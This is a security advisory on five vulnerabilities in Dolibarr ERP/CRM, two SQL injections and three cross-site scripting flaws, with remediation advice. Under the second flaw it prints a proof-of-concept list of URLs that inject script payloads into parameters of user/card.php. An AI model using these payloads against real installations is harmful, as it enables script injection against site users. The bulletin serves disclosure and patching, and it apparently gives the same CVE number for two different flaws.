SB2020032305 - Multiple vulnerabilities in Dolibarr ERP/CRM



SB2020032305 - Multiple vulnerabilities in Dolibarr ERP/CRM

Published: March 23, 2020

Security Bulletin ID SB2020032305
Severity
High
Patch available
YES
Number of vulnerabilities 5
Exploitation vector Remote access
Highest impact Code execution

Breakdown by Severity

High 40% Low 60%
  • Low
  • Medium
  • High
  • Critical

Description

This security bulletin contains information about 5 secuirty vulnerabilities.


1) SQL injection (CVE-ID: CVE-2019-19212)

The vulnerability allows a remote attacker to execute arbitrary SQL queries in database.

The vulnerability exists due to insufficient sanitization of user-supplied data passed via the "qty" parameter in the "/dolibarr/htdocs/product/fournisseurs.php" file. A remote attacker can send a specially crafted request to the affected application and execute arbitrary SQL commands within the application database.

Successful exploitation of this vulnerability may allow a remote attacker to read, delete, modify data in database and gain complete control over the affected application.


2) Cross-site scripting (CVE-ID: CVE-2019-19211)

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data in multiple parameters in "/dolibarr/htdocs/user/card.php" file. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC:

signature: 
/dolibarr/htdocs/user/card.php?id=2&action=create&signature=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E

lastname:
 /dolibarr/htdocs/user/card.php?id=2&action=create&lastname=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E

firstname: 
/dolibarr/htdocs/user/card.php?id=2&action=create&firstname=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E

office_phone:
/dolibarr/htdocs/user/card.php?id=2&action=create&office_phone=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E

user_mobile: 
/dolibarr/htdocs/user/card.php?id=2&action=create&user_mobile=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E

office_fax: 
/dolibarr/htdocs/user/card.php?id=2&action=create&office_fax=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E

email: 
/dolibarr/htdocs/user/card.php?id=2&action=create&email=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E

job:
/dolibarr/htdocs/user/card.php?id=2&action=create&job=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E

weeklyhours: 
/dolibarr/htdocs/user/card.php?id=2&action=create&weeklyhours=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E
modSalaries enabled:
thm: 
/dolibarr/htdocs/user/card.php?id=2&action=create&thm=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E

tjm: 
/dolibarr/htdocs/user/card.php?id=2&action=create&tjm=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E

salary: 
/dolibarr/htdocs/user/card.php?id=2&action=create&salary=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E
modAccountancies enabled:
accountancy_code: 
/dolibarr/htdocs/user/card.php?id=2&action=create&accountancy_code=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E
modAgenda enabled:
color: 
/dolibarr/htdocs/user/card.php?id=2&action=create&color=asdfgasdfasdf%22%3E%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E

3) Cross-site scripting (CVE-ID: CVE-2019-19210)

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to uploaded HTML documents are served as text/html despite being renamed to ".noexe" files. A remote authenticated attacker can inject and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.


4) Cross-site scripting (CVE-ID: CVE-2019-19209)

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data in the "Accept-Language" HTTP Header in "/dolibarr/htdocs/admin/system/dolibarr.php", "mails_templates.php" and "main.inc.php" files. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.


5) SQL injection (CVE-ID: CVE-2019-19209)

The vulnerability allows a remote attacker to execute arbitrary SQL queries in database.

The vulnerability exists due to insufficient sanitization of user-supplied data in the HTTP Header "Accept-Language" in "/dolibarr/htdocs/admin/mails_templates.php". A remote attacker can send a specially crafted request to the affected application and execute arbitrary SQL commands within the application database.

Successful exploitation of this vulnerability may allow a remote attacker to read, delete, modify data in database and gain complete control over the affected application.


Remediation

Install update from vendor's website.